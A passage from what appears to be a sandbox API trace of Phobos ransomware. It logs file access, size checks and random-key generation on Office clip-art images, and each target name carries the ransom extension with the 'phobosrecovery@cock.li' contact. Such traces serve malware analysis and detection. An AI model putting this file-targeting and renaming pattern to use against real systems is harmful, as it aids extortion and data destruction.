(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg")) returned 0x220 [0152.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.537] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.537] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19160) returned 1 [0152.537] CloseHandle (hObject=0x580) returned 1 [0152.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg")) returned 0x220 [0152.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.538] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.538] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21187) returned 1 [0152.538] CloseHandle (hObject=0x580) returned 1 [0152.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg")) returned 0x220 [0152.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.539] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.540] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=29783) returned 1 [0152.540] CloseHandle (hObject=0x580) returned 1 [0152.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg")) returned 0x220 [0152.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.540] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.541] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43490) returned 1 [0152.541] CloseHandle (hObject=0x580) returned 1 [0152.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg")) returned 0x220 [0152.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.541] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.541] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16099) returned 1 [0152.542] CloseHandle (hObject=0x580) returned 1 [0152.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg")) returned 0x220 [0152.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.542] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.543] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8074) returned 1 [0152.543] CloseHandle (hObject=0x580) returned 1 [0152.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg")) returned 0x220 [0152.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.543] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.543] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23126) returned 1 [0152.543] CloseHandle (hObject=0x580) returned 1 [0152.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg")) returned 0x220 [0152.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.544] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.544] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28483) returned 1 [0152.544] CloseHandle (hObject=0x580) returned 1 [0152.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg")) returned 0x220 [0152.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.544] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.545] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27304) returned 1 [0152.545] CloseHandle (hObject=0x580) returned 1 [0152.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg")) returned 0x220 [0152.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.545] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.546] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26739) returned 1 [0152.546] CloseHandle (hObject=0x580) returned 1 [0152.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg")) returned 0x220 [0152.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.548] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.548] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42135) returned 1 [0152.548] CloseHandle (hObject=0x580) returned 1 [0152.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg")) returned 0x220 [0152.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.549] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.550] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7803) returned 1 [0152.550] CloseHandle (hObject=0x580) returned 1 [0152.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg")) returned 0x220 [0152.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.550] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.551] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13845) returned 1 [0152.551] CloseHandle (hObject=0x580) returned 1 [0152.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg")) returned 0x220 [0152.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.552] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.553] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8230) returned 1 [0152.553] CloseHandle (hObject=0x580) returned 1 [0152.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg")) returned 0x220 [0152.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.553] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.686] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15863) returned 1 [0152.686] CloseHandle (hObject=0x580) returned 1 [0152.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg")) returned 0x220 [0152.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.687] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.688] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=113410) returned 1 [0152.688] CloseHandle (hObject=0x580) returned 1 [0152.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg")) returned 0x220 [0152.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.688] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: 